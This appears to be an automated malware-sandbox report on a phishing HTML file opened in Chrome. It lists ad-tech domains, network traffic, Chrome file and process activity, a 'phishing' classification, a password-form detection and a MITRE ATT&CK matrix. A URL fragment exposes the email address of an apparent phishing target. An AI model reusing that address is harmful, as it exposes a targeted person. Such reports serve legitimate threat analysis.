Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://impact-ad.jp
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://indexww.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://ingereck.net
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://inmobi.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://innovid.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://iobeya.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://jivox.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://jkforum.net
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://kargo.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://kidoz.net
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://kompaspublishing.nl
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://ladsp.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://linkedin.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://logly.co.jp
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://lucead.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://lwadm.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://mail.ru
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://marutishanbhag.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://media.net
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://media6degrees.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://mediaintelligence.de
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://mediamath.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://mediavine.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://metro.co.uk
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://microad.jp
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://momento.dev
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://moshimo.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://naver.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://nexxen.tech
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://nhnace.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://nodals.io
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://onet.pl
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://onetag-sys.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://open-bid.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://openx.net
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://optable.co
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://outbrain.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://paa-reporting-advertising.amazon
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://payment.goog
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://permutive.app
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://pinterest.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://postrelease.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://presage.io
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://primecaster.net
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://privacy-sandbox-demos-ad-server.dev
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://privacy-sandbox-demos-dsp-a.dev
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://privacy-sandbox-demos-dsp-b.dev
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://privacy-sandbox-demos-dsp-x.dev
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://privacy-sandbox-demos-dsp-y.dev
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://privacy-sandbox-demos-dsp.dev
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://privacy-sandbox-demos-ssp-a.dev
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://privacy-sandbox-demos-ssp-b.dev
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://privacy-sandbox-demos-ssp-x.dev
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://privacy-sandbox-demos-ssp-y.dev
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://privacy-sandbox-demos-ssp.dev
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://privacy-sandbox-test.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://privacy-sandcastle-dev-ad-server.web.app
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://privacy-sandcastle-dev-dsp-a1.web.app
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://privacy-sandcastle-dev-dsp-b1.web.app
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://privacy-sandcastle-dev-dsp-x.web.app
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://privacy-sandcastle-dev-dsp-y.web.app
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://privacy-sandcastle-dev-dsp.web.app
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://privacy-sandcastle-dev-ssp-a.web.app
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://privacy-sandcastle-dev-ssp-b.web.app
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://privacy-sandcastle-dev-ssp-x.web.app
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://privacy-sandcastle-dev-ssp-y.web.app
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://privacy-sandcastle-dev-ssp.web.app
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://ptb-msmt-static-5jyy5ulagq-uc.a.run.app
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://pub.network
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://pubmatic.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://pubtm.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://quantserve.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://quora.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://r2b2.io
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://relevant-digital.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://retargetly.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://rubiconproject.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://samplicio.us
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://sascdn.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://seedtag.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://semafor.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://sephora.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://shared-storage-demo-content-producer.web.app
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://shared-storage-demo-publisher-a.web.app
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://shared-storage-demo-publisher-b.web.app
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://shinobi.jp
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://shinystat.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://simeola.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://singular.net
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://sitescout.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://smadexprivacysandbox.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://snapchat.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://socdm.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://sportradarserving.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://stackadapt.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://storygize.net
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://superfine.org
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://t13.io
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://taboola.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://tailtarget.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://tamedia.com.tw
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://tangooserver.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://teads.tv
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://theryn.io
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://tiktok.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://tncid.app
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://toponad.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://torneos.gg
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://tpmark.net
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://tribalfusion.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://trip.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://triptease.io
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://trkkn.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://tya-dev.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://uinterbox.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://undertone.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://unrulymedia.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://uol.com.br
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://usemax.de
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://validate.audio
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://verve.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://vg.no
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://vidazoo.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://vpadn.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://washingtonpost.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://weborama-tech.ru
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://weborama.fr
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://wepowerconnections.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://worldhistory.org
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://wp.pl
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://yahoo.co.jp
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://yahoo.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://yelp.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://yieldlab.net
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://yieldmo.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://youronlinechoices.eu

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49682
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49681
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50136
Source: unknown	Network traffic detected: HTTP traffic on port 49686 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50129 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 49682 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50128
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50129
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49679 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50136 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50128 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 49681 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\scoped_dir3636_1151333557	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3636_677949319	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3636_677949319\privacy-sandbox-attestations.dat	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3636_677949319\manifest.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3636_677949319\_metadata\	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3636_677949319\_metadata\verified_contents.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3636_677949319\manifest.fingerprint	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\scoped_dir3636_1299615275	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3636_1181785141	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3636_1181785141\Google.Widevine.CDM.dll	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3636_1181785141\manifest.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3636_1181785141\_metadata\	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3636_1181785141\_metadata\verified_contents.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3636_1181785141\manifest.fingerprint	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\scoped_dir3636_1815623163	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3636_1249102660	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3636_1249102660\cr_en-us_500000_index.bin	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3636_1249102660\manifest.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3636_1249102660\_metadata\	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3636_1249102660\_metadata\verified_contents.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3636_1249102660\manifest.fingerprint	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\scoped_dir3636_1040939207	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3636_1601075502	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3636_1601075502\keys.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3636_1601075502\manifest.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3636_1601075502\LICENSE	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3636_1601075502\_metadata\	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3636_1601075502\_metadata\verified_contents.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3636_1601075502\manifest.fingerprint	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\scoped_dir3636_1366069755	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3636_1434875442	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3636_1434875442\LICENSE.txt	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3636_1434875442\Filtering Rules	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3636_1434875442\manifest.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3636_1434875442\_metadata\	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3636_1434875442\_metadata\verified_contents.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3636_1434875442\manifest.fingerprint	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\scoped_dir3636_1786522648	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3636_1142903608	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3636_1142903608\history_search_strings_farmhashed.binarypb	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3636_1142903608\manifest.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3636_1142903608\_metadata\	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3636_1142903608\_metadata\verified_contents.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3636_1142903608\manifest.fingerprint	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\scoped_dir3636_8321510	Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File deleted: C:\Windows\SystemTemp\scoped_dir3636_1151333557

Jump to behavior

Source: Google.Widevine.CDM.dll.2.dr

Static PE information: Number of sections : 12 > 10

Source: classification engine

Classification label: mal84.phis.winHTML@30/38@18/10

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2012,i,14865447731612743926,3150077887963785523,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2040 /prefetch:3
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "C:\Users\user\Desktop\.html"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2012,i,14865447731612743926,3150077887963785523,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2040 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source:

Binary string: Google.Widevine.CDM.dll.pdb source: Google.Widevine.CDM.dll.2.dr

Source: Google.Widevine.CDM.dll.2.dr	Static PE information: section name: .00cfg
Source: Google.Widevine.CDM.dll.2.dr	Static PE information: section name: .gxfg
Source: Google.Widevine.CDM.dll.2.dr	Static PE information: section name: .retplne
Source: Google.Widevine.CDM.dll.2.dr	Static PE information: section name: .voltbl
Source: Google.Widevine.CDM.dll.2.dr	Static PE information: section name: _RDATA

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3636_1181785141\Google.Widevine.CDM.dll

Jump to dropped file

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3636_1181785141\Google.Widevine.CDM.dll

Jump to dropped file

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3636_1434875442\LICENSE.txt

Jump to behavior

Stealing of Sensitive Information

HTML file submission containing password form

Source: file:///C:/Users/user/Desktop/.html#pshannon.moore@mymanatee.org

HTTP Parser: file:///C:/Users/user/Desktop/.html#pshannon.moore@mymanatee.org

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	2 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Scripting	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	3 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 File Deletion	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	1 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3636_1181785141\Google.Widevine.CDM.dll	0%	ReversingLabs

